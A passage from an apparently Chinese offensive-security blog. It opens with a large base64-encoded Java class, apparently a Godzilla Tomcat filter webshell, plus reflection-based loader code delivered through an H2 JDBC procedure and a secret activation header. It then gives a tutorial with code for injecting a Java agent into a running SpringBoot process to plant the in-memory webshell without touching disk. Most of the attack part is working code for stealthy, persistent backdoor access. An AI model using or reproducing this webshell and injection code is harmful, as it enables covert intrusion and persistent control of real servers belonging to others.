dwaGRtRjRMM05sY25ac1pYUXZVMlZ5ZG14bGRGSmxjWFZsYzNRN1RHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsYzNCdmJuTmxPeWxXQUNFQWlRQVJBQUVBaWdBRUFBQUFpd0NNQUFBQUFBQ05BSXdBQUFBQUFJNEFqQUFBQUFBQWp3Q1FBQUFBQ0FBQkFKRUFrZ0FCQUpNQUFBQkRBQUlBQVFBQUFCRXF0d0FCS2hJQ3RRQURLaElFdFFBRnNRQUFBQUlBbEFBQUFBNEFBd0FBQUJZQUJBQVlBQW9BR1FDVkFBQUFEQUFCQUFBQUVRQ1dBSmNBQUFBQkFKZ0FtUUFDQUpNQUFBQTFBQUFBQWdBQUFBR3hBQUFBQWdDVUFBQUFCZ0FCQUFBQUlBQ1ZBQUFBRmdBQ0FBQUFBUUNXQUpjQUFBQUFBQUVBbWdDYkFBRUFuQUFBQUFRQUFRQ2RBQWtBbmdDZkFBSUFrd0FBQVZVQUJnQUZBQUFBaEFGTUVnYTRBQWROTEJJSUFjQUFDYllBQ2l3QndBQUx0Z0FNVGkyMkFBMFNEZ1M5QUE5WkF4SVFVN1lBQ2kwRXZRQVJXUU1xVTdZQURNQUFFc0FBRXNBQUVreW5BRDlPRWhTNEFBZE5MTFlBRlRvRUdRUzJBQTBTRmdTOUFBOVpBeElRVTdZQUNoa0VCTDBBRVZrREtsTzJBQXpBQUJMQUFCTEFBQkpNcHdBRk9nUXJzQUFDQUFJQVF3QkdBQk1BUndCOUFJQUFFd0FEQUpRQUFBQXlBQXdBQUFBakFBSUFKd0FJQUNnQUd3QXBBRU1BTVFCR0FDb0FSd0FzQUUwQUxRQlRBQzRBZlFBd0FJQUFMd0NDQURNQWxRQUFBRWdBQndBYkFDZ0FvQUNoQUFNQUNBQStBS0lBa0FBQ0FGTUFLZ0NnQUtFQUJBQk5BRE1Bb2dDUUFBSUFSd0E3QUtNQXBBQURBQUFBaEFDbEFJd0FBQUFDQUlJQXBnQ25BQUVBcUFBQUFDa0FBLzhBUmdBQ0J3Q3BCd0FTQUFFSEFLci9BRGtBQkFjQXFRY0FFZ0FIQUtvQUFRY0FxdmtBQVFDY0FBQUFCQUFCQUJNQUNRQ3JBS3dBQWdDVEFBQUJTUUFHQUFVQUFBQjRBVXdTQnJnQUIwMHNFaGNCd0FBSnRnQUtMQUhBQUF1MkFBeE9MYllBRFJJWUJMMEFEMWtERWhKVHRnQUtMUVM5QUJGWkF5cFR0Z0FNd0FBUVRLY0FPVTRTR2JnQUIwMHN0Z0FWT2dRWkJMWUFEUklhQkwwQUQxa0RFaEpUdGdBS0dRUUV2UUFSV1FNcVU3WUFETUFBRUV5bkFBVTZCQ3V3QUFJQUFnQTlBRUFBRXdCQkFIRUFkQUFUQUFNQWxBQUFBRElBREFBQUFEY0FBZ0E3QUFnQVBBQWJBRDBBUFFCRkFFQUFQZ0JCQUVBQVJ3QkJBRTBBUWdCeEFFUUFkQUJEQUhZQVJ3Q1ZBQUFBU0FBSEFCc0FJZ0N0QUtFQUF3QUlBRGdBb2dDUUFBSUFUUUFrQUswQW9RQUVBRWNBTFFDaUFKQUFBZ0JCQURVQW93Q2tBQU1BQUFCNEFLVUFwd0FBQUFJQWRnQ21BSXdBQVFDb0FBQUFLUUFEL3dCQUFBSUhBQklIQUtrQUFRY0FxdjhBTXdBRUJ3QVNCd0NwQUFjQXFnQUJCd0NxK1FBQkFKd0FBQUFFQUFFQUV3QUJBSzRBcndBQkFKTUFBQURZQUFZQUJBQUFBQ3dTRzdnQUhFNHRISmtBQndTbkFBUUZ1d0FkV1NxMEFBTzJBQjRTRzdjQUg3WUFJQzBydGdBaHNFNEJzQUFCQUFBQUtBQXBBQk1BQXdDVUFBQUFGZ0FGQUFBQVRBQUdBRTBBSXdCT0FDa0FUd0FxQUZBQWxRQUFBRFFBQlFBR0FDTUFzQUN4QUFNQUtnQUNBTElBcEFBREFBQUFMQUNXQUpjQUFBQUFBQ3dBc3dDbkFBRUFBQUFzQUxRQXRRQUNBS2dBQUFBOEFBUC9BQThBQkFjQXRnY0FFZ0VIQUxjQUFRY0F0LzhBQUFBRUJ3QzJCd0FTQVFjQXR3QUNCd0MzQWY4QUdBQURCd0MyQndBU0FRQUJCd0NxQUFBQWpnQzRBQUVBa3dBQUFMUUFCQUFFQUFBQU1BRk5FaUs0QUNOT0xTdTJBQjRESzdZQUpMWUFKYnNBSmxrRUxiWUFKN2NBS0JBUXRnQXB0Z0FxVGFjQUJFNHNzQUFCQUFJQUtnQXRBQk1BQXdDVUFBQUFIZ0FIQUFBQVZBQUNBRmNBQ0FCWUFCVUFXUUFxQUZ3QUxRQmFBQzRBWFFDVkFBQUFLZ0FFQUFnQUlnQzBBTGtBQXdBQUFEQUFsZ0NYQUFBQUFBQXdBTE1BakFBQkFBSUFMZ0M2QUl3QUFnQ29BQUFBRmdBQy93QXRBQU1IQUxZSEFLa0hBS2tBQVFjQXFnQUFBUUM3QUx3QUFnQ1RBQUFJZHdBSEFCa0FBQVBZSzhBQUt6b0VMTUFBTERvRktpcTdBQzFadHdBdUtyUUFCYllBTHlxMEFBTzJBQysyQURDMkFERzFBRElaQkJJenVRQTBBZ0FTTmJZQU5wa0RrQmtFT2dZWkJUb0hHUVRCQURlYUFEVVNPQkk1QTcwQUQ3WUFDam9JR1FnWkJBTzlBQkcyQUF3NkJoa0d3UUEzbWdBVEdRZ1pCZ085QUJHMkFBdzZCcWYvNnhrRndRQTZtZ0ExRWpzU1BBTzlBQSsyQUFvNkNCa0lHUVVEdlFBUnRnQU1PZ2NaQjhFQU9wb0FFeGtJR1FjRHZRQVJ0Z0FNT2dlbi8rc1pCQkk5dVFBMEFnQVNQcllBTnBrQjdCa0V1UUEvQVFBU1FMWUFRWmtDODdzQVFsbTNBRU02Q3hrR3dBQTN0Z0JFT2d3WkN4SkZHUWEyQUVaWEdRc1NSeGtIdGdCR1Z4a0xFa2daRExZQVJsY1pCTGtBU1FFQXRnQktPZ29aQ3NZQUN4a0t0Z0JMbVFENEVrdzZDaGtHdGdBTkVrVzJBRTA2RFJrTkJMWUFUaGtOR1FhMkFFL0FBRkE2RGhrT3RnQU5FbEcyQUUwNkR4a1BCTFlBVGhrUEdRNjJBRS9BQUZJNkVCa1F0Z0JUT2hFWkViWUFEUkpVdGdCTk9oSVpFZ1MyQUU0WkVoa1J0Z0JQd0FCVk9oTVpFN1lBVnJrQVZ3RUFPaFFaRkxrQVdBRUFtUUI5R1JTNUFGa0JBTUFBV2pvVkdSVzVBRnNCQU1BQUVCSmNFbDIyQUY0NkZoa1Z1UUJmQVFEQUFHQTZGeGtYQTdZQVljQUFFRG9ZR1JlMkFHS2FBQnk3QUMxWnR3QXVHUXEyQUM4WkZyWUFMN1lBTURvS3B3QWp1d0F0V2JjQUxoa0t0Z0F2R1JhMkFDOFNZN1lBTHhrWXRnQXZ0Z0F3T2dxbi8zOFNaRG9OR1F3U1pSa051UUJtQXdBU0c3Z0FIRG9PR1E0RnV3QWRXUmtOdGdBZUVodTNBQisyQUNBU1o3Z0FCeEpvQnIwQUQxa0RFaEpUV1FTeUFHbFRXUVd5QUdsVHRnQnFPZzhaRHdTMkFHc1pEcnNBYkZtM0FHMFpDcllBYnJZQUlUb1FHUSs0QUcrMkFIQUd2UUFSV1FNWkVGTlpCQU80QUhGVFdRVVpFTDY0QUhGVHRnQU13QUFQT2hFWkViWUFGUmtMdGdCeVY2Y0JHUmtFRWoyNUFEUUNBQkp6dGdBMm1RRDFHUVFxdEFBRnVRQjBBZ0M0QUhVNkN5b1pDd08yQUhZNkN5cTBBSGZIQUdTN0FIaFpBNzBBZWJnQWI3WUFjTGNBZWpvSkVuc1NhQWE5QUE5WkF4SVNVMWtFc2dCcFUxa0ZzZ0JwVTdZQWFqb01HUXdFdGdCcktoa01HUWtHdlFBUldRTVpDMU5aQkFPNEFIRlRXUVVaQzc2NEFIRlR0Z0FNd0FBUHRRQjNwd0J4dXdCOFdiY0FmVG9NS3JRQWQ3WUFGVG9OR1EwWkRMWUFjbGNaRFJrTHRnQnlWeGtOR1FTMkFISlhHUVc1QUg0QkFDcTBBRElERUJDMkFIKzJBSUFaRGJZQWdWY1pCYmtBZmdFQUtoa010Z0NDQkxZQWRyZ0FnN1lBZ0JrRnVRQitBUUFxdEFBeUVCQzJBSVMyQUlDbkFCWVpCUktGRW9hNUFJY0RBQzByTExrQWlBTUFzYWNBQlRvR0xTc3N1UUNJQXdDeEFBRUFMQVBKQTgwQUV3QUVBSlFBQUFFNkFFNEFBQUJpQUFZQVl3QU1BR1FBTEFCbUFEMEFad0JCQUdnQVJRQnFBRTBBYXdCYUFHMEFmd0J4QUljQWNnQ1VBSFFBdVFCNkFNb0Fld0RaQUh3QTRnQjlBT3dBZmdEMkFIOEJBQUNBQVFvQWdRRVdBSUlCSXdDREFTY0FoQUV6QUlVQk9RQ0dBVVVBaHdGUkFJZ0JWd0NKQVdNQWlnRnFBSXNCZGdDTUFYd0FqUUdJQUk0QmxBQ1FBWjRBa1FHcUFKSUJ2UUNUQWNrQWxBSFVBSlVCM0FDV0FmVUFtQUlWQUpvQ0dBQ2RBaHdBbmdJbkFKOENMZ0NnQWtJQW9RSmpBS0lDYVFDakFud0FwQUtsQUtVQ3NBQ21Bck1BcHdMRUFLZ0MxQUNwQXQwQXFnTGtBS3NDOXdDc0F4VUFyUU1iQUs0RFFnQ3ZBMFVBc0FOT0FMRURWd0N5QTE4QXN3Tm5BTFFEYndDMUE0TUF0Z09KQUxjRG9BQzRBN01BdWdPMkFMc0R3UUM4QThrQXZ3UEtBTU1EelFEQkE4OEF4UVBYQU1ZQWxRQUFBV0FBSXdCYUFDVUF2UUMrQUFnQWxBQWxBTDBBdmdBSUFhb0Fhd0MvQU1JQUZRRzlBRmdBd3dDTUFCWUJ5UUJNQU1RQXhRQVhBZFFBUVFER0FJd0FHQUV6QU9VQXh3RElBQTBCUlFEVEFNa0F5Z0FPQVZFQXh3RExBTWdBRHdGakFMVUF6QUROQUJBQmFnQ3VBTTRBendBUkFYWUFvZ0RRQU1nQUVnR0lBSkFBMFFEU0FCTUJsQUNFQU5NQTFBQVVBT0lCemdEVkFOWUFDd0RzQWNRQTF3RFlBQXdDSEFDVUFOa0FqQUFOQWk0QWdnQ3dBTEVBRGdKakFFMEEyZ0MrQUE4Q2ZBQTBBTnNBcHdBUUFxVUFDd0RjQUpBQUVRRVdBWjBBandDTUFBb0RGUUF0QU4wQXZnQU1BdmNBVGdEZUFOOEFDUU5PQUdVQTRBRGhBQXdEVndCY0FPSUFvUUFOQXRRQTN3RGpBS2NBQ3dCQkE0a0E1QUNoQUFZQVJRT0ZBT1VBb1FBSEFBQUQyQUNXQUpjQUFBQUFBOWdBNWdEbkFBRUFBQVBZQU9nQTZRQUNBQUFEMkFEcUFPc0FBd0FHQTlJQTdBRHRBQVFBREFQTUFPNEE3d0FGQVBBQUFBQVdBQUlCcWdCckFMOEE4UUFWQWNrQVRBREVBUElBRndDb0FBQUJ3d0FSL3dCbkFBa0hBTFlIQVBNSEFQUUhBUFVIQVBZSEFQY0hBUGdIQVBnSEFQa0FBUG9BRi93QUlRY0ErZm9BRi84QWFRQU5Cd0MyQndEekJ3RDBCd0QxQndEMkJ3RDNCd0Q0QndENEFBQUhBS2tIQVBvSEFQc0FBUDhBY0FBVkJ3QzJCd0R6QndEMEJ3RDFCd0QyQndEM0J3RDRCd0Q0QUFBSEFLa0hBUG9IQVBzSEFQd0hBUDBIQVB3SEFQNEhBUDhIQVB3SEFRQUhBUUVBQVA4QVlBQVpCd0MyQndEekJ3RDBCd0QxQndEMkJ3RDNCd0Q0QndENEFBQUhBS2tIQVBvSEFQc0hBUHdIQVAwSEFQd0hBUDRIQVA4SEFQd0hBUUFIQVFFSEFRSUhBS2tIQVFNSEFLa0FBUDhBSHdBVkJ3QzJCd0R6QndEMEJ3RDFCd0QyQndEM0J3RDRCd0Q0QUFBSEFLa0hBUG9IQVBzSEFQd0hBUDBIQVB3SEFQNEhBUDhIQVB3SEFRQUhBUUVBQVA4QUFnQU5Cd0MyQndEekJ3RDBCd0QxQndEMkJ3RDNCd0Q0QndENEFBQUhBS2tIQVBvSEFQc0FBUDhBbWdBSUJ3QzJCd0R6QndEMEJ3RDFCd0QyQndEM0J3RDRCd0Q0QUFEL0FKRUFEQWNBdGdjQTh3Y0E5QWNBOVFjQTlnY0E5d2NBK0FjQStBQUFBQWNBRWdBQS93QnRBQWdIQUxZSEFQTUhBUFFIQVBVSEFQWUhBUGNIQVBnSEFQZ0FBQUlTK1FBQVFnY0FxZ0VBbkFBQUFBWUFBZ0VFQUowQUFRRUZBSklBQVFDVEFBQUFLd0FBQUFFQUFBQUJzUUFBQUFJQWxBQUFBQVlBQVFBQUFNc0FsUUFBQUF3QUFRQUFBQUVBbGdDWEFBQUFBZ0VHQUFBQUFnRUhBTUVBQUFBS0FBRUFXZ0ZmQU1BR0NRPT0MAWABYQwBYgFjBwFkDAFlASQBABxHb2R6aWxsYVRvbWNhdEZpbHRlck1lbXNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcBZgEAKGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uJER5bmFtaWMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAhuYW5vVGltZQEAAygpSgEAHChKKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABVnZXRGaWx0ZXJSZWdpc3RyYXRpb24BADYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbjsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgEAIm9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGUBAA1TVEFSVElOR19QUkVQAQAkTG9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGU7AQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEACWxvYWRDbGFzcwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlhZGRGaWx0ZXIBAFQoTGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvRmlsdGVyOylMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBABBzZXRJbml0UGFyYW1ldGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylaAQARc2V0QXN5bmNTdXBwb3J0ZWQBABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEAEWphdmEvdXRpbC9FbnVtU2V0AQACb2YBACUoTGphdmEvbGFuZy9FbnVtOylMamF2YS91dGlsL0VudW1TZXQ7AQAYYWRkTWFwcGluZ0ZvclVybFBhdHRlcm5zAQAqKExqYXZhL3V0aWwvRW51bVNldDtaW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAHU1RBUlRFRAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEACWdldE1ldGhvZAEAEGVxdWFsc0lnbm9yZUNhc2UBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADWdldFN0YWNrVHJhY2UBACAoKVtMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50OwEAG2phdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudAEADGdldENsYXNzTmFtZQEAIGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uACEAYgBjAAAAAgAKAGQAZQAAAAoAZgBnAAAABwABAGgAaQABAGoAAABBAAEAAQAAAAsqtwABuAACuAADsQAAAAIAawAAABIABAAAABgABAAZAAcAGgAKABsAbAAAAAwAAQAAAAsAbQBuAAAAKgBvAGkAAQBqAAAEUgAHAA4AAAHduwAEWbcABRIGtgAHuAAItgAJtgAKswALsgAMxwAJuAANswAMsgAMxgGtEg64AA9LAUyyAAyyAAu5ABACAMcBlyvHAD2yAAy2ABESErYAE00sBLYAFCyyAAy2ABVOLcEAFpkADS3AABazAAynABAqLbYAEbYAF5kABS1Mp//FK8YBVRIYEh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";
        Class clazz;
        byte[] evil = new byte[0];
        try {
            clazz = Class.forName("sun.misc.BASE64Decoder");
            evil = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), Base64Class);
        } catch (Exception ignored) {
            throw new RuntimeException(ignored);
        }


        try {
            java.lang.reflect.Method defineClass = null;
            defineClass = ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);

            defineClass.setAccessible(true);
            Class TomcatMemShellInject = null;

            TomcatMemShellInject = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),evil,0,evil.length);
            TomcatMemShellInject.newInstance();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
return "";
}
$$;

默认gsl key,使用的时候需要在header添加 Cache-Control: RaidEnMei

1.png

2.png

Tags: java, 内存马, h2, jdbc

SprintBoot获取Context的一些方法&&agent外部注入哥斯拉内存马

前言

内存马高级,文明,实体马粗鄙,弟弟。

所以感觉现在能打内存马基本都是直接打内存马了,但是有时候,我们拿下springboot,是通过一些其他方式拿下的,并不是通过web的代码执行。

这时候,我们想做一个后门,常规正向后门又因为目标大多是内网环境访问不到,反弹后门流量又太大,而且这些后门可能还会留下实体文件,端口复用又需要root,而且有概率打炸。灵车率十分的高,所以我们最好的目光就是再springboot打一个内存马,文件不落地,正向连接隐蔽性高。

所以打内存马的目标十分简单,归根结底就是在进程中执行我们的jvav代码,然后打上注册上路由绑定上内存马。

打内存马的方案

如何在进程中执行任意代码?最简单的办法就是注入,然后java是虚拟机,它十分贴心的提供了一套native接口供我们调用,推荐一个工具:jattach

用这玩意大概原理可以直接注入进内存,很贴心的帮我们调用了java native api,然后打入我们的agent。

使用方式就直接jattach.exe pid load instrument false 'agent路径'

那么我们第一个目标就是制作一个agent

制作agent

agent我们主要就是当成一个有特殊入口点的DLL就行,agent主要在于premain,agentmain等这些函数,这些函数网络上介绍的已经很详细了,我们这里就不再赘述,我们直接看向agentmain,这个作用主要是虚拟机加载完之后会调用这个函数。

同时,我们修改MANIFSET.MF文件,添加一个Agent-Class 指向我们的入口点类

完整模板如下

//META-INF/MANIFSET.MF
Manifest-Version: 1.0
Created-By: 18.0.1 (Oracle Corporation)
Premain-Class: com.bie.agent
Agent-Class: com.bie.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
package com.bie
public class agent {
    public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    }
}

接下来,我们再其中添加代码执行的函数,一般运行内存马的时候,是直接使用Thread.currentThread().getContextClassLoader(),来加载我们的class,在web中可以使用,但是在这里不行

因为在web中运行时,我们当前的Thread已经包含了所需要的上下文已经环境变量,所以接下来打入内存马时候才能把我们的内存马添加到路由管理里,一般这个线程名字在tomcat和springboot中是叫做xxx-EXEC-一个数字,但是此时我们是注入进去的,线程中并不包含这些信息,所以我们就得另辟蹊径。

既然这个线程没有,那么我们直接枚举过去不就行了?反正java中try这个东西实在是好用,能成就能成,不能成用try兜住反正也不会炸。

于是乎,我们的代码就可以这样写

Method m = Thread.class.getDeclaredMethod("getThreads");
        
        m.setAccessible(true);
        Thread[] threads = (Thread[])((Thread[])m.invoke((Object)null));

        for(int i = 0;i<threads.length;i++){
            try {

                byte[] var2 = (new BASE64Decoder()).decodeBuffer("你的内存马base64");

                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
                defineClass.setAccessible(true);


                Class Evil = (Class) defineClass.invoke(threads[i].getContextClassLoader(), "EvilGodlliza", var2, 0, var2.length);
                Constructor constructor = Evil.getDeclaredConstructor( int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
                constructor.setAccessible(true);
                constructor.newInstance(111);

            } catch (Exception var4) {

                var4.printStackTrace(ps);


            }
        }

直接通过循环所有线程,暴力加载,反正只要在内存里,总有一个是可以成的

内存马部分

总而言之言而总之,就是内存马,详细可以参考我之前写的SpringBoot 内存马 && SPEL注入内存马

不同的就是想办法把哥斯拉扣出来,不过这种基本都是小菜一桩,把jsp的request和response和session换成springboot的就完事了,我们主要是要处理Context获取,不同版本获取Context的方法都各不相同。于是乎我总结了一些直接获取Context的方法

                org.springframework.web.context.WebApplicationContext context = null;

                try{
                    java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
                    filed.setAccessible(true);
                    context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
                }catch (Exception exx){
                    exx.printStackTrace(ps);
                }

                if (context == null){
                    try {
